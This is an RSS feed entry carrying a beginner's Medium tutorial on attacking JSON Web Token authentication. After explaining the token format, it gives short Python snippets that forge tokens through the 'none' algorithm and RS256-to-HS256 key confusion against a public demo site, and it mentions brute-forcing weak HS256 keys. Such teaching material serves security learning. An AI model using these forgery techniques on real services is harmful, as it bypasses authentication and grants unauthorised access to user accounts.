<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[101-writeups - Medium]]></title>
        <description><![CDATA[learning while writing. - Medium]]></description>
        <link>https://medium.com/101-writeups?source=rss----2f1a4914de3f---4</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>101-writeups - Medium</title>
            <link>https://medium.com/101-writeups?source=rss----2f1a4914de3f---4</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 25 Nov 2026 01:29:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/feed/101-writeups" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Hacking JSON Web Token (JWT)]]></title>
            <link>https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6?source=rss----2f1a4914de3f---4</link>
            <guid isPermaLink="false">https://medium.com/p/233fe6c862e6</guid>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[json-web-token]]></category>
            <category><![CDATA[json]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[pwnzzzz]]></dc:creator>
            <pubDate>Thu, 03 May 2018 12:36:37 GMT</pubDate>
            <atom:updated>2018-06-21T23:26:41.430Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey,</p><p>Well this is my first writeup and there might be ton of mistakes as i go along writing it out so please give me feedback so that i can work over it.</p><p>So lets start!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/788/1*XkmnsJ6Joa6EDFVGUw0tfA.png" /><figcaption>JWT</figcaption></figure><h3>0x01 JWT workflow</h3><p>Starting with JWT, it is a very lightweight specification</p><p>This specification allows us to use JWT to pass secure and reliable information between users and servers.</p><p>JWT is often used for front-end and back-end separation and can be used with the Restful API and is often used to build identity authentication mechanisms.</p><p>Take an example of vimeo.com , which is one of the biggest video hosting companies as per my knowledge.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/1*hWOzSajKM5gV4i1uOxdYow.png" /><figcaption>Figure 1</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*vwd4TrGpWNKgjMK8do3uDw.png" /><figcaption>Figure 2</figcaption></figure><p>When a user enters his/her credentials, a post request is sent (check Figure 1) after which the credentials are validated. If they are a correct combo then the user is presented with response having a JWT token as seen in Figure 2.</p><blockquote><em>Example JWT : </em>eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw</blockquote><p>Now whenever a user accesses something, the request which are made are slightly different having a new header <strong>authorization: jwt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Za7zu6agnBo-DMJk-okG1g.png" /><figcaption>Figure 3</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Yoj2F7g11vZgTj0FEvF3xg.png" /><figcaption>Figure 4</figcaption></figure><p>It can be seen that JWT is actually carried as authenticated information, and JWT is often stored in localstorage by frontend code.</p><blockquote>Local storage is a new feature of HTML5 that basically allows you (a web developer) to store any information you want in your user’s browser using JavaScript. Simple, right?</blockquote><h3>0x02 JWT Format</h3><p>The JWT format is very simple,</p><p>The JWT’s data is divided into three parts: headers, payloads, signatures (signature).</p><p>The three are then .divided by base64UrlEncode</p><pre>function base64url_encode($data) {<br>    return rtrim(strtr(base64_encode($data), &#39;+/&#39;, &#39;-_&#39;), &#39;=&#39;);<br>}</pre><p>JWT data in the previous section (See example JWT)</p><pre>eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ.eyJzdWIiOiJkdWJoZTEyMyJ9.XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw</pre><p>The three parts are :</p><ol><li>Header</li></ol><pre>eyJraWQiOiJrZXlzLzNjM2MyZWExYzNmMTEzZjY0OWRjOTM4OWRkNzFiODUxIiwidHlwIjoiSldUIiwiYWxnIjoiUlMyNTYifQ</pre><p>Which is {“kid”:”keys/3c3c2ea1c3f113f649dc9389dd71b851&quot;,”typ”:”JWT”,”alg”:”RS256&quot;} after decoding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/591/1*zN_HN-NrBhNVtHUwt2RccQ.png" /><figcaption>Figure 5</figcaption></figure><p>The headers contain information about the JWT configuration, such as the signature algorithm (alg), type (JWT), and key file used by the algorithm (used when the server requires multiple key files).</p><p>2. Payloads</p><pre>eyJzdWIiOiJkdWJoZTEyMyJ9</pre><p>Payloads are used to store some users’ data, such as username (test123).”</p><p>3. Signature</p><pre>XicP4pq_WIF2bAVtPmAlWIvAUad_eeBhDOQe2MXwHrE8a7930LlfQq1lFqBs0wLMhht6Z9BQXBRos9jvQ7eumEUFWFYKRZfu9POTOEE79wxNwTxGdHc5VidvrwiytkRMtGKIyhbv68duFPI68Qnzh0z0M7t5LkEDvNivfOrxdxwb7IQsAuenKzF67Z6UArbZE8odNZAA9IYaWHeh1b4OUG0OPM3saXYSG-Q1R5X_5nlWogHHYwy2kD9v4nk1BaQ5kHJIl8B3Nc77gVIIVvzI9N_klPcX5xsuw9SsUfr9d99kaKyMUSXxeiZVM-7os_dw3ttz2f-TJSNI0DYprHHLFw</pre><p>Because the header and payload are stored in plaintext, the signature is used to prevent data from being modified. The <br>signature of the transaction function that provides data often uses RS256 (RSA asymmetric encryption and private key signature) and HS256 (HMAC SHA256 symmetric encryption) algorithm. , The signature object is base64UrlEncode(headers) + ‘.’ + base64UrlEncode(‘signature’).</p><p>Read more : <a href="https://jwt.io/introduction/">https://jwt.io/introduction/</a></p><h3>0x03 Attacking JWT</h3><h3>1. The leakage of sensitive information</h3><p>Obviously, because the payload is transmitted in plaintext, information leakage occurs if there is sensitive information in the payload.</p><h3>2. Modify the algorithm to none</h3><p>Signature algorithm ensures that JWT is not modified by malicious users during transmission</p><p>But the alg field in the header can be changed to none</p><p>Some JWT libraries support the none algorithm, that is, no signature algorithm. When the alg is none, the backend will not perform signature verification.</p><p>After changing alg to none, remove the signature data from the JWT (only header + ‘.’ + payload + ‘.’) and submit it to the server.</p><p>An example of such an attack can be found at: <a href="http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php">http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php</a></p><p>The code can be found on Github <a href="https://github.com/Sjord/jwtdemo/">https://github.com/Sjord/jwtdemo/</a></p><p>The solution to this example is as follows</p><pre>import jwt<br>import base64</pre><pre># header<br># eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9<br># {&quot;typ&quot;:&quot;JWT&quot;,&quot;alg&quot;:&quot;HS256&quot;}</pre><pre>#payload eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNjQzNSwiZXhwIjoxNTA0MDA2NTU1LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0<br># {&quot;iss&quot;:&quot;http:\/\/demo.sjoerdlangkemper.nl\/&quot;,&quot;iat&quot;:1504006435,&quot;exp&quot;:1504006555,&quot;data&quot;:{&quot;hello&quot;:&quot;world&quot;}}</pre><pre>def b64urlencode(data):<br>    return base64.b64encode(data).replace(&#39;+&#39;, &#39;-&#39;).replace(&#39;/&#39;, &#39;_&#39;).replace(&#39;=&#39;, &#39;&#39;)</pre><pre><br>print b64urlencode(&quot;{\&quot;typ\&quot;:\&quot;JWT\&quot;,\&quot;alg\&quot;:\&quot;none\&quot;}&quot;) + \<br>    &#39;.&#39; + b64urlencode(&quot;{\&quot;data\&quot;:\&quot;test\&quot;}&quot;) + &#39;.&#39;</pre><p>The result is</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*fJLq6RVi8fx0ywaOwUYUgA.png" /><figcaption>Figure 6</figcaption></figure><h3>3. Modify the algorithm RS256 to HS256 (Asymmetric Cipher Algorithm =&gt; Symmetric Cipher Algorithm)</h3><p>The algorithm HS256 uses the secret key to sign and verify each message.</p><p>The algorithm RS256 uses the private key to sign the message and uses the public key for authentication.</p><p>If you change the algorithm from RS256 to HS256, the backend code uses the public key as the secret key and then uses the HS256 algorithm to verify the signature.</p><p>Because the public key can sometimes be obtained by the attacker, the attacker can modify the algorithm in the header to HS256 and then use the RSA public key to sign the data.</p><p>The backend code uses the RSA public key + HS256 algorithm for signature verification.</p><p>In the same way, you can use an example to understand this attack <a href="http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php">http://demo.sjoerdlangkemper.nl/jwtdemo/hs256.php</a></p><p>RSA public key: <a href="http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem">http://demo.sjoerdlangkemper.nl/jwtdemo/public.pem</a></p><p>The example solution is as follows</p><pre>import jwt</pre><pre># eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9<br># {&quot;typ&quot;:&quot;JWT&quot;,&quot;alg&quot;:&quot;RS256&quot;}</pre><pre># eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTUwNDAwNzg3NCwiZXhwIjoxNTA0MDA3OTk0LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0<br># {&quot;iss&quot;:&quot;http:\/\/demo.sjoerdlangkemper.nl\/&quot;,&quot;iat&quot;:1504007874,&quot;exp&quot;:1504007994,&quot;data&quot;:{&quot;hello&quot;:&quot;world&quot;}}</pre><pre>public = open(&#39;public.pem.1&#39;, &#39;r&#39;).read()</pre><pre>print public</pre><pre>print jwt.encode({&quot;data&quot;:&quot;test&quot;}, key=public, algorithm=&#39;HS256&#39;)</pre><p>The result is as follows (verification passed):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/506/1*_-umpOjkhoe-DmBskmG1wQ.png" /><figcaption>Figure 7</figcaption></figure><h3>4. HS256 (symmetric encryption) key cracking</h3><p>If the HS256 key strength is weak, it can be directly brute-forced, such as using the secret string as a key in the PyJWT library sample code.</p><p>Then the key is guessed violently, when the key is correct then the decryption is successful, the key error decryption code throws an exception</p><p>Can use PyJWT or John Ripper for crack test</p><h3>Attachment: Related tools</h3><p>PyJWT library <a href="https://github.com/jpadilla/pyjwt">https://github.com/jpadilla/pyjwt</a></p><pre>&gt;&gt;&gt; import jwt</pre><pre>&gt;&gt;&gt; encoded = jwt.encode({&#39;some&#39;: &#39;payload&#39;}, &#39;secret&#39;, algorithm=&#39;HS256&#39;)</pre><pre>&#39;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzb21lIjoicGF5bG9hZCJ9.4twFt5NiznN84AWoo1d7KO1T_yoc0Z6XOpOVswacPZg&#39;</pre><pre>&gt;&gt;&gt; jwt.decode(encoded, &#39;secret&#39;, algorithms=[&#39;HS256&#39;])</pre><pre>{&#39;some&#39;: &#39;payload&#39;}</pre><h3>0x05 Reference</h3><p><a href="https://www.sjoerdlangkemper.nl/2016/09/28/attacking-jwt-authentication/">Attacking JWT authentication</a></p><p>Claps appreciated :)</p><p>Follow me on twitter <a href="https://twitter.com/401Hate">https://twitter.com/401Hate</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=233fe6c862e6" width="1" height="1" alt=""><hr><p><a href="https://medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e6">Hacking JSON Web Token (JWT)</a> was originally published in <a href="https://medium.com/101-writeups">101-writeups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>